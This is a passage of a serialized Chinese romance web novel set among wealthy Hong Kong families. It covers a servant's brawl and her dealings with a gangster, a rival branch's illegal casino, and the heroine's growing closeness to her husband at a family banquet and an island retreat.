桂妈的港城没工作的阿公阿婆,手上戴着棉线手套,拎着竹篮,拿着小铁耙子在煤灰堆里扒拉煤块,公屋住户大多是拖家带口的,家里港城没工作的阿公阿婆捡煤核常常是捡了一大筐,捡起来能烧两顿饭。 这年头捡煤核也必须懂规矩,捡煤核是有“势力范围”的,捡煤炭的港城没工作的阿公阿婆都有自己的“专属煤堆”,大家伙儿自己扒拉自己的,反正也能捡够。 桂妈纵横萧家三房多年,习惯了多吃多占,每次都把蝙蝠老爪子往人家地盘上伸,遇上脾气和善的阿公阿婆笑笑也就没事了,遇上脾气暴躁的直接跟她骂街打架。 这不,前头桂妈就和一个年轻媳妇掐起来了,年轻媳妇力气大,按着桂妈双手轮番煽她巴掌,又往桂妈脸上唾沫星子。 “老不死的,跟我玩横的,看你够不够格!” 其他阿公阿婆赶紧七嘴八舌拉住:“哎哟,这是干啥呢,有话好好说!” “可不是,你这小年轻别跟老阿婆一般计较。” 桂妈” 恶名在外“,一群港城没工作的阿公阿婆也知道她这个德行。 那个年轻媳妇打了就解气了,站起来拎着自己的煤筐子就想走,桂妈跳起来,骂骂咧咧捡了个煤炭朝年轻媳妇头上砸过去。 年轻媳妇后脑勺挨了一下,一声惨叫过后,直挺挺倒地不起,跟个死人一样躺着不动弹了。 在场的人都吓了一跳,赶紧把人抬着送圣玛丽医院去了。 桂妈趁着人群慌乱,哆嗦着老手把打人的那块带血石头埋了,抖着老腿回到家收拾了几件衣裳,卷着包袱去乡下闺女家躲风头去了。 桂妈一连好几天没回家,家里儿子可就着急了,在街上找了好几趟,没找到。 最后哭哭泱泱到警察署报案了,一开口就是有人把自家老娘拐跑了。 警察署一调查,隔天就把操着掉牙漏风的老嘴哭的桂妈带回来了。 那个被打了后脑勺的年轻媳妇命大,后脑袋就破了点皮,送到圣玛丽医院缝两针没啥大事了。 桂妈觉得没啥大事,浑身爽利的回了家。 桂妈也赔了五白港币给那个年轻儿媳妇家,两家算是和解了。 这件事并不是重点,重点是裴特助派人盯梢的时候,有新的发现。 第29章 第29章感谢订阅 桂妈一家人住的公屋外围很破旧,墙壁斑驳,堆满了煤炉跟捡来的煤渣。 楼道里挂满了晾晒的衣衫,有些还在滴水。 地上潮湿泥泞,裴特助派两个人在楼下盯梢,三房萧长昌手下的生意不干净。 萧砚吩咐下来,萧长堂夫妇的心腹都要盯紧些,看能不能顺藤摸瓜抓住些线索。 昨夜夜深了,盯梢的两个人正要离开之际,突然看到桂妈戴着大盖草帽,穿着身葛布的粗衣粗裤,眼神躲闪,瞻前顾后,贴着墙角走路,一有什么动静就如惊弓之鸟,明显是躲着什么人。 盯梢的桂妈是对兄弟俩,当哥哥的碰碰弟弟,兄弟俩交换下眼神,默不作声跟在后面了。 桂妈蹑手蹑脚贴墙走,很快消失在灯火阑珊的夜景中。 兄弟俩悄无声息坠到后面,但也没落下多少。 桂妈走走停停,拐进了一片漆黑的暗巷。 暗巷地处深水埗偏僻处,因低价便宜,靠近码头,四周工厂、商铺林立,还有数不清的批发市场。 这是码头一处仓库。仓库是放海鲜的,一走近全是浓浓的鱼虾腥臭味。白天机器轰隆的工厂,此刻寂静无声。 桂妈跟一个叼着烟头的古惑仔讲话,“我在太太面前最是有面子,赌场那边生意好,利润我们先生跟岳先生五五分,老话讲,阎罗王招工,揾鬼嚟做,大家都住公屋生活困难,还有一家老小要养活,等老太爷没了,三房肯定是我们先生跟大太太当家,咱们以后少不得打交到。” 随后桂妈拿出一本账簿给那个古惑仔。 古惑仔都是没读过书的混混,哪看得懂账簿,他看不懂,桂妈也不懂,背后的主人能看懂就行。 古惑仔又抽了口烟,露出一张眼角带疤的阴狠脸庞,这人不是别人,正是岳家明手下的阿光。 “行,我跟明哥说说。” 桂妈刚想说话,阿光从背后摸出一把刀,冰凉锋利的刀刃,抵着她的脸,“回去告诉你主子,老老实实做生意,别想耍什么花样!” “我们明哥可不是吃素的!” 桂妈吓到脸色发白,脑袋一嗡,差点坐不住,整个人在这,哆哆嗦嗦点头。 阿光看她老实,左拐右拐不见了踪影。 而桂妈吓破了魂,阿光一走,立马跳起来抱着布包跑了,边跑边诅咒阿光这死佬,生儿子没**。 跟在她身后的身后的兄弟俩则兵分两路,一人继续跟踪,一人回了集团。 裴特助把消息报告给萧砚。 那会儿萧砚池刚开完会,在文件上签完字,冷峻的眉眼平静淡然,“去查查。” 裴特助答是,有些话当着总裁的面,他不能说,只能在心里瞎琢磨,豪门龌龊多,里头不少脏事他都知道。 就比如二房跟三房,表面上水火不容,背地里还能搅到一块去。 裴特助动作很快,几小时就查出二房跟三房背后的勾当。 应该说是萧长昌夫妻俩跟二房搞的勾当。 萧长昌开了家纺织厂,纺织厂经营不善要倒闭了,远在澳洲的岳家明拉拢他,两家实偷偷摸摸在莲花岛开了赌场,赚黑心的钱,赚到的钱通过纺织厂洗白,到时候五五分成。 莲花岛上**业兴旺,不少富商去消遣。 萧长昌他们开的小赌场还挺赚钱,萧砚还是那副妖孽样,神色辨不出喜怒,让他们该盯梢盯梢,有消息随时来报。 随后就让裴特助在集团加班,他坐车回老宅。 裴特助傻眼了,“总裁,您晚上还有个会呢。” “推迟到明天。” “您回去有事?” “嗯,回去陪太太。” 自家总裁难得话多,衰仔裴特助却想打自己两巴掌。 让你话多,吃狗粮没吃够是不? 裴特助前几天让刚被女朋友甩飞,心情很惆怅,暂时不想吃总裁跟少夫人的狗粮。 裴特助化作悲愤为动力,在集团加班工作。 桂妈这边则骂骂咧咧回了公屋,一进家门就去看宝贝孙子阿荣。 阿荣从小身体不好,长相随了母亲,文弱秀气,跟父母不甚亲近,倒是和桂妈亲近得很。 桂妈被辞退在家,孙子阿荣俨然成了她的小跟屁虫。 桂妈在厨房做饭,干家务,阿荣身体不好,不能跟隔壁外面的孩子一样跑跳嬉戏,就那本书坐在安安静静的坐在小板凳上看书。 公屋楼下偶尔传来孩子们的奔跑嬉戏声,阿荣只是偶尔侧着耳朵听一听,然后又安静看书,公屋没有在三房的日子风光,桂妈脾气乖张又刻薄,只有说起大孙子脸上才满脸笑。 桂妈在外人面前,对阿荣也是一口一个夸。 “……我家阿荣打小起就聪明,从小他阿爷也没怎么教他,这孩子两三岁上就自己摇摇晃晃去拿书架上的书,他阿爷在家里写毛笔字,阿荣就在旁边看,谁也没给他说这个字念什么,隔几天,阿荣就自个儿会了……” 起初公屋的邻居听了这话,面上不说什么,心里却是不屑一顾。 只当桂妈王婆卖瓜,自买自夸。 等阿荣上了小学,才发现这孩子是真聪明,在学校里年年拿奖回来,每次考试不是第一就是第二。 桂妈得意非凡,现在大陆那边改革开放好多年了,房价倒是没涨多少,桂妈未雨绸缪,她以前在三房管着厨房,没少打着给太太省钱的口号,赚厨房的油水,想回内地老家,在好地段买上几套房子,全写在自己名下,到时候老了,也能租出去,舒舒服服过日子。 阿光也跟澳洲的岳家明通了电话,岳家明得知这一个月生意不错,在华侨开的风月场所开了包厢。 身边围绕着满是香水的妙龄女郎,其中一个女郎身姿曼妙,面容姣好,依偎在岳家明怀里撒娇,讨要一块瑞士金表。 那块瑞士金表是萧思琪买给丈夫的结婚周年礼物。 岳家明从不离身,那女郎大概觉得自己在岳家明心里不一样故而大胆讨要。 “岳先生,这块表送给我好不好?” “琳达,你真想要?” “当然了,岳先生送我的我一定好好珍惜。” 岳家明吐出口雪茄,似笑非笑道,“真想要?” “要了可要有命拿。” 女郎触到岳家明的眼神,背后一阵发凉,连忙改了口。 “我开玩笑的,岳先生的东西我怎么好要啊。” 她怎么忘记了,上次得罪岳先生的一个外国人,晚上喝醉回家,好好的被车撞了,头都撞飞了。 岳先生是豪门女婿,听话在港城还有一帮古惑仔手下。 领头的叫什么阿光。 倒水光还是挖坟盗墓的阿光,谁知道呢。 女郎扯扯嘴角,压根儿没想到真给她猜对了一半。 阿 光不是盗墓的,盗墓的是他老豆。 阿光老豆在解放前是倒爷,专门吃这碗饭的,后来解放了,阿光老豆跑到港城,政府安排到煤矿厂当工人,一个月挖煤能几百块港币,比起以前风里跑雨里来四处跑,三天两头不着家,这个工作脏累些,倒也安稳。 天有不测风云,八几年一个暴雨夜,阿光老豆跟工友下矿挖煤,就遇上了煤矿崩塌,阿光老豆没跑出来,给压在下头,等把人救上来,阿光老豆躺在担架上光有出的气没有出的气了,眼瞅着人不好,矿场领导打了电话赶紧往显医院送,到半路上人就没了。 从那以后,阿光顶了他老豆的工作当锅炉工,可是他家一家六口人,弟弟妹妹嗷嗷待哺,老娘身体也不好,光靠阿光的工资根本不够花。 阿光不想老的时候,跟四五十岁的老头子一样,手脚粗黑,走路一跛一跛的,落个穷困潦倒跑出来混江湖当古惑仔,先是跟着岳家明混,后来加入青龙帮,暗地里还帮着岳家明做事…… 这些事被详细混总成资料,送到萧砚手上。 萧砚没有隐瞒姜沉鱼,金主大老板去洗澡,姜沉鱼吸溜着王妈送来的夜宵,看得津津有味。 真是知人知面不知心。 三房萧长昌一身西装革履,在外一派上流人士的精英模样,背地里干这缺德事,啧,真不怕走路掉深坑里去。 姜沉鱼小口吃着鸡汤面,樱唇粉润,心里想着还是江城军区大院的叔叔伯伯可爱许多。 她这么想着,洗完澡的萧砚从浴室出来,他换了身白色衬衫,头发微微湿,却丝毫不影响他的英俊挺拔,露出一张毫无瑕疵、棱角深邃的脸庞,一双眸子漆黑凌厉,白衬衫开了两个扣子,隐隐能看出线条优美的腹肌…… 正在欢快恰面的姜沉鱼,“………” 她脑海里第一个念头不是脸红,而是金主大老板天天在集团忙,居然也有腹肌? 不对,这想法太什么了。 姜沉鱼往上抬了抬视线,又看到某人微微滚动的性格喉结。 “…… 这画面太美,姜沉鱼想到刚才那个吻,赶紧低下头,喝两口面汤压压惊。 萧砚依旧是那副清冷矜贵的脸,似乎没看到姜沉鱼微微泛粉的小巧耳畔,手中翻看着姜沉鱼打发时间看的八卦杂志。 什么《师奶杀手重出江湖》、《赌王家族密事扒一扒》…… “你喜欢看这些?” 姜沉鱼呵呵两声,“打发时间而已。” 萧砚池轻笑声,没有多问,“明天家中宴请成家祖父,麻烦你跟我出席一下。” 第30章 第30章感谢订阅 成家祖父就是朱莉的祖父。 成老爷子本名成刚,祖籍大陆南安县,民国那会儿,家族靠押镖过活。 押镖,用老话说就是给人家送货当镖头的,跟后世的物流有那么丢丢相似。 后来鬼子来了,世道乱了,送货押镖的也赚不到什么钱,成刚他老豆成老汉进城卖粮食,在山里遇上几个鬼子扫荡,抢粮食被刺了一刀没了命,成老娘哭了一晚上也跟着去了。 成刚生的魁梧高壮,身上有把子力气,上过私塾,耍得了大刀提得了枪,鬼子害的他家破人亡,孤身一人也没什么可怕的,血红着一双眼,追上几个鬼子全杀了,报了仇,孤家寡人一个,一不做二不休南下漂泊打拼,历经几十年风雨,成家再也不是寂寂无名的寒门小族,摇身一变,成了港城赫赫有名的富商。 成家靠玩具、钢铁、旅游业发家,现在当家作主的是家族第三代成文滨,成文滨是成家长孙,也是朱莉的亲大哥。 如今港城处于发展的黄金末尾阶段,郊外大片大片,原本无人问津的荒地,一下子成了港商跟外国人眼中的聚宝盆。 为了抢占市场和先机,成家不仅扩大了名下工厂的规模,还买下了大片的地皮,准备开发建设。 港城老城区遍地可见的高楼大厦,繁华的维多利亚海港,川流来往的外国人,已经没有开发的可能,想要发展只能把目光放到内地跟国外。 萧氏集**人去内地拓宽市场,大陆经济发展迅速,萧砚敏锐察觉到未来几十年,华国经济腾飞之后,房地产和旅游业会蓬勃发展。 成家也意识到了这一点,此前萧砚把投资主体放在珠江三角洲地区,已经买下了大片土地,准备建造楼盘、商场、工厂跟商业圈。 萧家捷足先登,成家来迟一步,后悔晚矣。 成家在内地主打旅游业,跟萧家发展策略不同。 萧老爷子跟成家老爷子有些交情,成文滨想跟萧家合作,打造一系列规模宏大的游乐园跟旅游区。 成家想跟萧家合作,就要拿出诚意来,发了几次请帖想宴请萧砚吃饭,都被否决了。 成老爷子亲自去了趟三房,想跟萧老爷子促膝长谈,把合作关系定下来。 萧老爷子倚老卖老,装糊涂只喝酒吃肉,一顿饭下来什么也没讲成。 成老爷子气得跳脚,回家就血压飙升,住进了家中私人疗养院。 听说进了医院也气得吃不下饭。 萧老爷子心里过不去,打电话给孙子让他在老宅请成家人聚一聚。 萧砚池答应了,宴席定在明天傍晚,到时候萧老爷子也会出席。 姜家一家人也会出席,他们后天下午坐飞机返回江城。 这几天,姜建军见了文燕蓉就怒从心中起,文燕蓉说什么他都要挑刺。 姜沉宁无奈,溜出来找姜沉鱼发牢骚。 姜沉鱼教了她几招,姜沉宁立马用上,姜建军果然消气不少,对着懂事许多的小女儿感叹。 “长大了,知道规矩了!” 姜建军当着一家人的面把规矩两个字,咬得特别重。 文燕蓉听了面红耳赤,很不能找个地缝钻进去,成家来老宅做客的消息传出,她也想出席明天的晚宴。 姜建军嗤道,“你去做什么?” “让满堂宾客看你表演野驴戴花,一套又一套出洋相?” “四十多岁的人了,还不如个孩子,真是白活了。” “………” 姜建军嘴皮子功夫厉害,文燕蓉直接萎靡不振了。 老父亲珠玉在前,姜沉鱼总算知道自己爱损人的毛病是遗传谁了,她吸溜下面条,对着萧砚很痛快答应下来,“没问题。” “明天我陪你准时出席晚宴。” 金主大老板发话,她能不答应嘛? “好。” 萧砚话少,姜沉鱼就安静吃面,一碗鸡丝面下肚,美眸氤氲着水汽,吃面热的,外加发囧。 萧砚今天也不知道抽什么风,往常这时候不是在集团加班,就是在书房办公,哪有闲情逸致在这看杂志? 看的还是姜沉鱼用来打发时间的八卦杂志。 萧砚安面容沉静,慢悠悠翻看着面前的杂志,里面最狗血出彩的地方都被用某人用笔画了下来,在边上画了几个惟妙惟肖的小人表达喜怒哀乐。 这会儿,萧砚正跟其中一个小人大眼瞪小眼。 水晶灯的光泽明亮,映衬萧砚平素冷冽的眉眼多了几分柔和。 “画得不错。” “少几个挨打的金主大老板就更好了。” “金主大老板挨打,还怎么当周扒皮?” “这两天爸妈盯得紧,隔壁卧房不能睡了,要委屈我们萧太太跟周扒皮睡一个房间了。” 萧砚放下手里的杂志,意有所指开口,黑眸染笑。 被内涵的姜沉鱼:“……” 好想跳起来咬他几口,但不敢jpg。 萧砚婚后一直住在隔壁卧房,夫妻俩分床而眠,原本相安无事,不知道谁把消息捅到萧老爷子跟萧长章夫妇耳中。 萧老爷子骂孙子不好好待孙媳妇,三房大太太倒霉连连,一听到这个消息,在家里冷嘲热讽,那嘴脸看得二太太直倒胃口。 二太太有了掌家权,萧长昌、萧长堂兄弟俩也不如往日和睦,经常在家吵架,不是为了纺织厂 就是为了手下的公司、田产。 三太邓颖梅名下有几家商行、珠宝铺子跟一幢小楼,商行盈利颇丰,小楼出租也收租不少加上多年的积蓄。 三太晚年生活无忧,两个儿子打她名下铺子的主意,三太仍是守着不开口。 一开口财产就没了。 傻子才开口。 亲母子也不行,两个不孝儿不争气,想风光自己去挣。 为这事,大太太二太太一对上就互相挖苦。 “我说大嫂啊,你跟大哥想要妈咪名下的珠宝行,这怎么也要跟我和长堂商量下,妈咪的财产,家里人人有份,不能你们一家独吞吧。哎哟这胃口大嘞,一餐饭不能一口吃下,小心撑开肚子。” “你闭嘴!” “我在家里做什么要闭嘴啦。” “……” 三房唇枪舌剑,郭玉琴知道儿子儿媳分房,却不浪费口舌,她生的儿子她知道。 浪费口舌没用,直接让生叔带佣人把萧砚住的套房封了,一应生活物品全都送进姜沉鱼住的小套房来。 好在小套房的床足够大,铺着软绵的蚕丝枕头跟被子,靠窗的意大利进口圆桌上摆着瓶插好的玫瑰花。 初秋薄老宅夜晚带着桂花的清香。 姜沉鱼平时最喜欢在阳台上眺望海景,今天她的安乐小日子被打破了,只能匆匆去泡澡,泡完澡又捣腾她那些瓶瓶罐罐,等护完肤,才打着哈欠回来。 “困了?” 萧砚在沙发上处理文件,对姜沉鱼有不同于他人的温柔。 姜沉鱼困意上,没注意这些,“唔”了声,眼皮子开始打架,钻进被窝没一会儿就睡着了。 等萧砚处理完文件,静静上床刚要休息,旁边被窝里姜沉鱼翻了身,抱着他手蹭了蹭,她一头乌发铺了半身,睡姿娇憨,看的萧砚发笑,他轻手轻脚上了床,将姜沉鱼抱在怀里,然后缓缓合上眼。 姜沉鱼美美睡了一觉。 第二天醒来,外面又开始下雨,明明已经过了七八月雨季,还是小雨不断,雨水如帘滴落,打在翠绿的芭蕉叶上,啪嗒啪嗒。 床的另一侧整洁如新,萧砚一早就去了集团。 姜沉鱼洗漱的时候,旁边多了套男士专用的洗漱用品,脖子上也有些发红,回去对着萧砚昨夜用的枕头捶了两下。 怕金主大老板回来发现,又怂怂地给摆放整齐。 “……” 完了,金主大老板登堂入室,姜沉鱼总觉得自己像只小白兔,总有一天会被萧砚池吃干抹净。 不然之前的两次吻,在三房的牵手怎么解释? 别跟她说,是要在外人面前做戏。 昨晚房间可没旁人,萧砚池那厮不还是直接吻下来了? 姜沉鱼甚至怀疑,之前签的婚前协议也是诱她入瓮、蓄谋已久的招式罢了。 不过想想也不对,港城多少豪门千金,妙龄佳丽,萧砚是萧氏集团的掌门人又生了那么个妖孽样,想要什么样的女人没有,干嘛对她一个娇气任性、小自己好几岁的姑娘动心? 难不成萧砚快三十了,某些方面力不从心,需要有个妻子当门面? 而她替姜沉宁嫁过来,一来能圆萧老爷子多年心愿,二来萧砚池结了婚有了妻子嗯鞥也能堵住集团内部某些人的悠悠众口。 一举两得。 没错,就是这样! 姜沉鱼把事情想通,顿觉人生美好,脚步轻盈下了楼,外面下着雨,王妈撑着伞过来。 “少夫人下雨了,当心雨天着凉。” “王妈我自己撑伞吧。” “少夫人,您怎么能自己撑伞,二少爷知道会心疼的。” 姜沉鱼:“……王妈你可真会说话。” “那是,王妈我啊,一向是有什么就说什么。” 王妈笑呵呵的,知道少夫人体恤她年纪大,就喊新来的女佣来撑伞。 为了准备晚上的晚宴,老宅的佣人们都在忙碌着,不时打着伞穿梭在厨房和饭厅之间。 “阿秋,撑伞送少夫人去主楼。” “来了。” 30-40 第31章 第31章感谢订阅 “阿秋?” 姜沉鱼微讶,转头看去,蒙蒙细雨中走来的单薄女佣正是前不久在三房见过的阿秋。 秋初雨寒,阿秋穿了件青色碎花夹棉上衣,同色长裤,长长的辫子编成一条披在脑后,穿得整齐舒服,整个人气色很好,跟数日前相比几乎换了个模样。 “少夫人,我送您去主楼。” 阿秋过来撑伞,言语很是尊敬。 外面天有些风,姜沉鱼拢拢身上的披肩,侧身分出半个肩头,让撑伞的阿秋不至于淋湿整个身子,阿秋感受到少夫人的善意,心下更觉温暖。 “少夫人,前几天多谢您跟二少爷救我。” “要不是您跟二少爷,我下半辈子就在警察署的监狱度过了。” 阿秋知道包袱里的南珠项链是佳怡小姐吩咐人偷塞到她包袱里的,以前佳怡小姐也有同样的招式陷害过佳敏小姐。 二少爷跟少夫人是她的救命恩人! 姜沉鱼好奇阿秋怎么来大房做工,大房跟三房可没有那么好的交情,前面三房不怀好意派人来送菊花,叫王妈、吴妈一同打出去了。 说起这个,阿秋眼神明亮,满是感激。 “是二少爷吩咐生叔叫我来做工的,说少夫人您看中的人错不了,王妈叫我负责厨房卫生,一个月八百块港币,这都是托了少夫人的福!” 阿秋在三房当佣人一个月才三百港币,萧佳怡许诺的两百港币经常被桂妈克扣去,一家几口过得很拮据。 来大房做工薪资丰厚,生叔叔、桂妈待人亲切,阿秋一家有了钱,最小的弟弟妹妹就不用辍学在家,可以去公办的学校读书,有文化将来可以去找个商行做文员,亦或者去报社做秘书,能自食其力,一辈子就有了依靠。 “少夫人慈善心肠,我阿妈日日在家上香,请菩萨保佑您跟二少爷长命百岁,连生贵子。” 阿秋神采飞扬,彷佛已经看到自家二少爷跟少夫人一胎抱俩,恩爱幸福的美好画面。 姜沉鱼:“……” 长命百岁她喜欢,连上贵子就算了。 跟萧砚那厮生什么? 生一堆冰山小总裁? 还是算了吧。 “你们真是有心了。” “少夫人您太客气,回家我再给菩萨上三柱香。” “……” 午后外面雨停了,庭院丹桂花香阵阵,小团子萧甜睡醒了,蹬蹬蹬跑过来缠着小婶婶弹《欢乐颂》。 萧家有专门钢琴师,姜沉鱼弹了两首钢琴曲,小团子手短弹不好,又颠颠跑去跟哥哥哥踢足球。 踢完足球又要打网球。 姜沉鱼在江城就经常打网球,郭玉琴在主楼客厅插花,听见孙子们孙女要打网球,也过来参加。 老宅后院修建了偌大的游泳馆和网球场,绿草如茵,萧甜蹦跶着要跟萧茗开一起打网球。 萧茗有些为难,“甜甜你腿太短了。” 胳膊也短,小身板还没有网球拍高,运动起来很危险的。 萧甜很不服气,“谁说我腿短。” 小姑娘想证明给哥哥看,蹦跶了好几下也不如网球拍高。 现场有点冷场,郭玉琴是位爽朗外放的祖母,信任放养式教育,虽然家中资源可以庇护孙女一辈子无忧无虑,仍旧鼓励孩子们去主动探索这个精彩纷呈世界。 尽管有祖父萧长章的安慰,小团子还是有些伤心,摆脱保姆阿姨,跑到桂花树下找小婶婶求安慰。 姜沉鱼给了小团子一个香软怀抱,拿过故事书开始讲故事。 故事书里的故事太过冗长,姜沉鱼成功把小团子哄睡自己也睡着了。 待她醒过来,已是黄昏,窗外霞光满天,大片火烧云席卷而来,带着秋日浓浓桂花香。 床铺柔软,姜沉鱼睡眼朦胧,整个人沐浴在落日余晖中,雪肤花貌,比平常添了几分娇憨之态。 阿秋端着盘子进来,笑道,“少夫人,您睡醒了?” “唔,是啊。” “我睡了多久?” “三个多小时。” 姜沉鱼惊讶,她她居然睡了这么长时间,不过阿秋不是在厨房负责卫生工作,怎么到新房小楼这边来了。 阿秋就笑了,“生叔讲我心细,调我过来服侍少夫人。” 姜沉鱼蛮开心的,阿秋是个好姑娘,手脚麻利,她来小楼这边比王妈他们合适。 “我在后院睡着,怎么回来的?” 说起这个,阿秋可就激动了,放下盘子,差点儿手舞足蹈起来。 “是二少爷抱您回来的。” “二少爷对少夫人特别好,抱您上楼,还给您脱鞋,盖被子。” “夫人见了笑得合不拢嘴,生叔叔跟王妈也笑,大家都可高兴了。” 爬下床喝水的姜沉鱼:“……” 有地缝吗? 她想找个地缝爬进去jpg。 王妈上楼就一进门就看到这一幕,阿秋旁边叽叽喳喳,姜沉鱼乌润眸子一眨不眨,保持会喝水的动作。 王妈猜少夫人的是晓得了下午的事,心里乐呵,让阿秋下去准备下午茶。 宴请成家的宴会七点半开始,现在不到六点,郭玉琴生怕儿媳妇饿肚子,叮嘱厨房做了下午茶点。 姜沉鱼确实有些饿了,美眸弯弯,一口咖啡一口菠萝面包,吃的惬意,心情一好就把把那些尴尬忘光光。 吃完下午茶,萧砚上了楼,裴特助跟在旁边,没到会客时间,他只穿着简单的白衬衫,勾勒出结实有力的劲腰,沉稳有力,身边的裴特助说着什么,他一边点头一边看文件,矜贵又俊美。 “少夫人。” 姜沉鱼刚从化妆师出来,换了身月牙白绣银线礼服,裙摆垂到脚踝,如水波般层层铺开,纤纤细腰,头顶水晶灯光温柔洒下,越发显得她眉眼娇艳。 裴特助一见少夫人就很识相拿文件走人。 套房里就剩下夫妻俩,姜沉鱼气定神闲,款款走过去。 “二少爷,少夫人,晚宴时间到了。” 生叔在门外恭声通知。 萧砚换上正装,幽深黑眸闪过淡淡笑意,“萧太太,可以下楼了吗?” 姜沉鱼偷偷翻了个白眼,佯装乖巧挽上了萧砚的胳膊,夫妻俩一道下了楼。 成家的林肯车停在老宅门前,成家老爷子成刚先下了车,紧随其后的是成文滨、成朱莉兄妹俩,还有一排黑衣保镖。 成家老爷子面容魁梧,鬓发发白却依旧精神奕奕,跟萧老爷子握手寒暄,右手大拇指上的玉扳指格外显眼。 成文滨身着套浅色系西装,眉目俊朗,朱莉别出心裁,一头清爽短发,天蓝色礼裙,成套的蓝宝石首饰,用她自己的话就是活像波行走的海浪。 成朱莉见了姜沉鱼就语出惊人,“小鱼啊,你现在鲜嫩得就像剥了壳的水葡萄,鲜嫩的不得了。” “我要是你家萧总就把你吃了。” 姜沉鱼笑笑,没注意萧总眸子深了深。 晚宴气氛一片祥和幽谧。 萧家厨师做的草莓蛋糕很好吃,朱莉一口接一口,姜沉鱼则专心致志跟面前的帝王蟹斗争。 站在旁边的阿秋想帮少夫人剥螃蟹,裴特助一个闪身挡在她面前。 阿秋觉得这个傻大个超级碍眼。 裴特助认为眼前的丫头有点缺心眼。 有他们总裁在呢,关你傻丫头什么事。 果然,就在姜沉鱼跃跃欲试要亲手剥螃蟹的时候,正在旁边跟成文滨谈合作的萧砚慢条斯理伸过手,端走了盘中的帝王蟹,另外夹了一块去刺的鱼肉放进她碗里,漆黑的眸子睨向她,带着显而易见的温柔,“先吃点鱼,一会儿再吃螃蟹。” 随后萧大总裁亲自给娇妻剥起了螃蟹。 朱莉在边上吃狗粮吃到飞起。 成文滨意味深长道,“萧总对令夫人真是呵护备至。” 萧砚不以为耻反为荣,淡淡挑眉:“我跟小鱼青梅竹马,感情深厚,不是成总这样的未婚人士能理解的。” 24k黄金单身狗成文滨:“……” 这就过分了哈! 萧大总裁当众秀恩爱,姜沉鱼表面淡定淡定,内心小鹿乱撞,夹起面前煎得金黄的鱼块掩饰性咬了一口,咸香酥脆,肉质嫩滑。 她刚吃完,某人又夹了一块过来。 气得对面的成文滨也夹了一筷子青菜沙拉给成朱莉。 你有老婆,我有妹妹,来啊互相伤害啊! 当天晚上的晚宴以成总时不时抽风而结束。 不管怎样,萧成两家的合作达成了。 成老爷子一高兴,邀请萧家一家人去要开发的海岛度假。 萧砚答应了,第二天一早,在保镖的护送下,萧家一家人登上了去海岛的私人游艇。 要开发的小岛风景秀丽,岛上渔民靠海吃海,家中孩子倒是不愁吃穿,岛上的生活跟外面那些小县城差不多,岛上阿婆有兜售自家晒的鱼干跟珍珠,橘子糖跟高粱饴,长白糕、桃酥、蜜三刀、江米条、芝麻酥,还有各种点心。 在岛上生活,阿公阿婆还时常能带着孩子们去赶海,捞些海货回来,自家蒸了吃或是熬汤喝,都是极鲜美的,日子虽然不如港城富裕,却别有一番风味。 海上细雨霏霏,却不耽误岛上的渔民跟游客三五成群去海滩上赶海,海岛上有处闻名遐迩的沙石海滩,多数游客慕名而来。 第32章 第32章感谢订阅 这是海岛上的一片大海滩,沙质柔软,绵延数百米,每当海水退去,大片礁石露出水面,就是岛上老百姓赶海的好时机。 海岛礁石岩壁、细软沙滩上,总会藏着各种各样的美味,生蚝、螃蟹、海带、海螺,个头都不小,有的海螺有两三只手指粗了,看起来肉嘟嘟的,岛上的阿公婆忙着打渔、下海干活儿,一天天忙的团团转,很少能有空闲时间来沙滩上赶海散心。 海岛毗邻港城,码头新鲜鱼虾一船船往外运,岛上渔民在海里打渔归来,个头大的鱼都拿出卖钱,剩下的小鱼小虾小蟹,就自家留着吃,他们不用出门赶海一日三餐也有各种鱼虾海鲜吃。 来赶海的大都是慕名而来的游客,跟出门散心的阿公阿婆。 成家在海岛上有私人别墅,也有属于自家的码头,萧家私人游艇刚在码头停靠,一排保镖黑衣先下了游艇,跟沙石沙滩一样,成家码头也是热热闹闹。 初秋时节,几个着棉布长袖衫子的小孩脖子中挂着木箱子吆喝兜售点心,汽水。 “钵仔糕,热腾腾又好食。” “凉茶,凉茶!” 外界听闻海岛即将开发,不少商人登奥道寻觅商机,码头上站着西装革履的男士,女士们大红唇,短袖旗袍,打着伞遮雨。 姜沉鱼从游艇上下来,阿秋在旁边撑伞。 “少夫人,地面湿滑,您走路慢些。” “好,你也小心。” 成家码头停靠着高大的客轮,潮湿黏腻的雨天,海上轮船也来来往往。 姜沉鱼一身月白玉兰花旗袍,外面罩了件羊毛大衣,纤纤细腰,被寒风吹得脸颊绯红,她穿着高跟鞋,阿秋个子不高,撑伞只到头部,有些遮挡视线了。 姜沉鱼想自己撑伞,顺便欣赏下沿途风景,突然头顶压来一道阴影,一柄黑伞将她整个人遮住。 紧接着,细腰被一条有力手臂箍紧。 姜沉鱼一抬头,才发现,身边撑伞的不知道什么时候换了人,萧砚大掌虚揽她纤细的腰侧。 “下雨了,冷不冷?” 声如玉石,性感低沉。 姜沉鱼实话实说:“……本来不冷的,你一过来就冷了。” 萧砚薄唇微抿,很好,这天不用聊了。 裴特助跟在后面努力报酬保持面容平静,生怕不小心,受灾的就是自己。 萧长章夫妇从不参加外人的饭局,故而这次没有来。 萧老爷子拄着黄花梨拐杖,见状胡子快要飞扬起来。 臭小子真是争气。 一下游艇就往小鱼跟前凑,明年抱重孙有望了。 码头上人头攒动,成家的管家带佣人客客气气迎了上来,朝萧老爷子跟萧砚欠了欠身,恭敬道: “萧老先生,萧二少爷,少夫人,一路上辛苦了,外面车辆已经准备好了,我家老爷恭候多时了。” 萧砚 颌首,一行人上了等候在码头那上的加长林肯。 成家书别墅位于海岛东郊,占地宽广,高大的铁门,高高耸立的围墙,围墙四周,都建了坚固的铁栅栏。 别墅后院有大片的桃林,还有自家的跑马场跟训练场,成文滨今天没穿西装,立领短衫、同色长裤,风度翩翩,朱莉没在海岛,跟着威廉威廉忙事业去了,听成文滨讲中午就能乘游艇回来。 成老爷子一年有大半光景都在海岛,他是老派人物,最不喜西洋文化,仍旧穿长衫马甲,在马甲胸前口袋挂一块怀表。 萧家一行人刚到,成老爷子便非常热情出来款待,跟在成老爷子身边的是位四十多岁的美妇人,身着玫瑰紫繁绣旗袍,戴着钻石项链,风姿绰约,她讲话时小拇指翘起。 姜沉鱼在旁静看,美妇人讲话时候,成文滨眉头隐忍,一跳一跳的模样,好似下一秒就要拍桌离去。 不过他忍功一流,直到午宴结束,成朱莉归来也没发作。 姜沉鱼直觉里面有故事,成家现在是萧氏集团的合作伙伴,又有朱莉的关系在,有些事情提前知道也不是坏事,她暗自叮嘱阿秋去打听。 阿秋领命而去。 午宴后,成家为客人准备了客房,萧老爷子跟保镖在一楼。 